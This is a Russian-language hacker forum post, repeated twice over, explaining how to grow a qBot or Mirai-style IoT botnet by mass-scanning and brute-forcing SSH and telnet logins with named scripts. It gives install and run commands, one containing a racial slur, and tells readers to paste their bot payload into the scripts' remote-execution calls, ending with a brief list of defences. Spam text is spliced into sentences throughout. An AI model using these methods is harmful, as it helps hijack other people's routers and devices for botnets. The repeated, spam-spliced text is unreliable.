- Сообщения
- 381
- Реакции
- 655
Приветствую всех пользователей данного форума
И сегодня мы поговорим о том, как распространять свой ботнет в IoT и как защитить свой роутер или умный холодильник от Mirai, qBot и им подобных
И сегодня мы поговорим о том, как распространять свой ботнет в IoT и как защитить свой роутер или умный холодильник от Mirai, qBot и им подобных
Удивительно, почему эта тема почти не затронула Россию, хотя бурные обсуждения на англоязычных форумах начались еще осенью прошлого года.
Рассматривать будем на примере qBot.
Итак, после того, как у нас все готово и мы видим в счетчике ботов 0, конечно же в голову приходит мысль "а что если бы этот счетчик был хотя бы на 1-2к побольше?". Отсюда у нас несколько вариантов.
Первый и самый банальный - масскан и брутфорс паролей от устройств интернета вещей. Так распространялся Mirai, с него пожалуй и начнем.
Собственно, для этого нам потребуется
В зависимостях у этого скрипта только Python и библиотека Paramiko под него же. Screen поставим для того, чтобы запустить скрипт в нем и забыть о его существовании.
Для Debian установка зависимостей будет такой:
Код
sudo apt-get install python python-paramiko screen -y
После этого просто запускаем скрипт:
Код
sudo screen python hl.py 500 NIGGER 1 1
Или с другими параметрами, все параметры указаны в самом файле сканнера.
Наслаждаемся быстрым приростом и понимаем, что это ненадолго. Увы, скрипт, хоть и в состоянии сбрутить 100-400 ботов за полчаса, столь же быстро и теряет позиции. Это из-за того, что такой метод распространения используют почти все в США, qBot тоже. Соотвественно, бинарники конфликтуют, даже вытесняют друг друга, и получается не пойми что. В целом неплохой вариант для быстрого брута, но позиции потеряете настолько же быстро.
Теперь рассмотрим LRAB, то есть к ssh добавим еще и telnet. Почти таким же способом размножался и Mirai, но там все немного сложнее. Мираевский лоадер умел echoload'ить, то есть заливать бинарники посредством команды echo, что очень круто по меркам IoT-ботнетов. Плюс была функция self-rep (размножение самого себя) в которой я так и не разобрался. У нас тут такого нет.
Смотрим LRAB. В основом нам тут понадобится только скрипт class, этакая альтернатива масскану. Опять же ставим зависимости, добавляется еще perl и пакеты libnet-ssh и libnet-telnet. В Redhat'ах достаточно поставить Net::SSH и Net::Telnet из CPAN.
Когда у нас все готово, пишем
Код
sudo screen ./class 23 -i eth0 -s 10
, где 23 - порт, eth0 - интерфейс для скана (если у вас виртуалка, используйте только KVM-виртуализацию, VMware не поддерживает выгодные фрибеты).
Ждем, пока просканится нужное нам количество устройств. Потом нам необходимо привести Промокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачок в вид login:pass:ip. Я, к примеру, просто беру и парсю все результаты скана в этот вид. Дальше брутер сам отсеет ненужное и подгрузит гуды. Парсер легко написать самим, но если уж совсем невмоготу, можете стукнуть в ПМ и я вам его дам.
Наконец, нам нужно пройти
Теперь идем пить чай, спать. Все это делать придется примерно 3 дня, время от времени судорожно проверяя счетчик. С этого уже может при хорошей погоде накапать 2-10к ботов.
Второй способ - комбинация 1-day эксплоитов с пейлоадом бота, но тут я уже не буду распространяться - у всех есть свои секреты.
В целом я рассказал о забугорной технике спрединга чуть более, чем полностью. 99% ботоводов используют именно эти методы.
В заключение, как же защититься от всего этого:
1) Не ставить легкие пароли, даже если ваш роутер не имеет выделенного IPv4-адреса
2) Вовремя прошивать свои железяки (если прошивки под них вообще выходят)
3) Поставить OpenWRT, там можно запилить множество классных фич для защиты от подобного
Рассматривать будем на примере qBot.
Итак, после того, как у нас все готово и мы видим в счетчике ботов 0, конечно же в голову приходит мысль "а что если бы этот счетчик был хотя бы на 1-2к побольше?". Отсюда у нас несколько вариантов.
Первый и самый банальный - масскан и брутфорс паролей от устройств интернета вещей. Так распространялся Mirai, с него пожалуй и начнем.
Собственно, для этого нам потребуется
Скрытое содержимое доступно для зарегистрированных пользователей!
для масскана (можно использовать и классический масскан, но тогда придется распарсить его вывод под брутфорсер) и
Скрытое содержимое доступно для зарегистрированных пользователей!
. Вот тут-то нам и пригодится описанный мной в прошлой статье пейлоад. Его нужно вставить в ssh.exec_command("") внизу скрипта (если что, я беру hl.py в качестве скрипта).В зависимостях у этого скрипта только Python и библиотека Paramiko под него же. Screen поставим для того, чтобы запустить скрипт в нем и забыть о его существовании.
Для Debian установка зависимостей будет такой:
Код
sudo apt-get install python python-paramiko screen -y
После этого просто запускаем скрипт:
Код
sudo screen python hl.py 500 NIGGER 1 1
Или с другими параметрами, все параметры указаны в самом файле сканнера.
Наслаждаемся быстрым приростом и понимаем, что это ненадолго. Увы, скрипт, хоть и в состоянии сбрутить 100-400 ботов за полчаса, столь же быстро и теряет позиции. Это из-за того, что такой метод распространения используют почти все в США, qBot тоже. Соотвественно, бинарники конфликтуют, даже вытесняют друг друга, и получается не пойми что. В целом неплохой вариант для быстрого брута, но позиции потеряете настолько же быстро.
Теперь рассмотрим LRAB, то есть к ssh добавим еще и telnet. Почти таким же способом размножался и Mirai, но там все немного сложнее. Мираевский лоадер умел echoload'ить, то есть заливать бинарники посредством команды echo, что очень круто по меркам IoT-ботнетов. Плюс была функция self-rep (размножение самого себя) в которой я так и не разобрался. У нас тут такого нет.
Смотрим LRAB. В основом нам тут понадобится только скрипт class, этакая альтернатива масскану. Опять же ставим зависимости, добавляется еще perl и пакеты libnet-ssh и libnet-telnet. В Redhat'ах достаточно поставить Net::SSH и Net::Telnet из CPAN.
Когда у нас все готово, пишем
Код
sudo screen ./class 23 -i eth0 -s 10
, где 23 - порт, eth0 - интерфейс для скана (если у вас виртуалка, используйте только KVM-виртуализацию, VMware не поддерживает выгодные фрибеты).
Ждем, пока просканится нужное нам количество устройств. Потом нам необходимо привести Промокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачокПромокоды для удвоения от читачок в вид login:pass:ip. Я, к примеру, просто беру и парсю все результаты скана в этот вид. Дальше брутер сам отсеет ненужное и подгрузит гуды. Парсер легко написать самим, но если уж совсем невмоготу, можете стукнуть в ПМ и я вам его дам.
Наконец, нам нужно пройти
Скрытое содержимое доступно для зарегистрированных пользователей!
и подцепить отсюда файл telnet.pl. Не забываем прописывать в $telnet->cmd("wget "); свой пэйлоад вместо wget. Теперь идем пить чай, спать. Все это делать придется примерно 3 дня, время от времени судорожно проверяя счетчик. С этого уже может при хорошей погоде накапать 2-10к ботов.
Второй способ - комбинация 1-day эксплоитов с пейлоадом бота, но тут я уже не буду распространяться - у всех есть свои секреты.
В целом я рассказал о забугорной технике спрединга чуть более, чем полностью. 99% ботоводов используют именно эти методы.
В заключение, как же защититься от всего этого:
1) Не ставить легкие пароли, даже если ваш роутер не имеет выделенного IPv4-адреса
2) Вовремя прошивать свои железяки (если прошивки под них вообще выходят)
3) Поставить OpenWRT, там можно запилить множество классных фич для защиты от подобного
